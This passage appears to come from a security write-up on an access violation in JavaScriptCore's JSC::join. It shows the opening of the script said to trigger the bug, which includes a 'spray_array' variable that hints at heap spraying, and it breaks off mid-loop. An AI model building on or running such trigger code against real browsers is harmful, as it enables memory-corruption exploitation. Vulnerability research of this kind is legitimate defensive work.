$hell on Earth

Here is the location within JavaScriptCoreJSC::join where the access violation occurs:
Figure 2: ArrayStorage join access violation
The vulnerability is triggered by the following script:
var $a = [];
function ExprArray(n,v)
{
}
var g_count = 0;
var spray_array= new Array();
function perfect(n)
{
var results = [];
var sumOfDivisors = new ExprArray(n+1,1);
for (var divisor = 2; divisor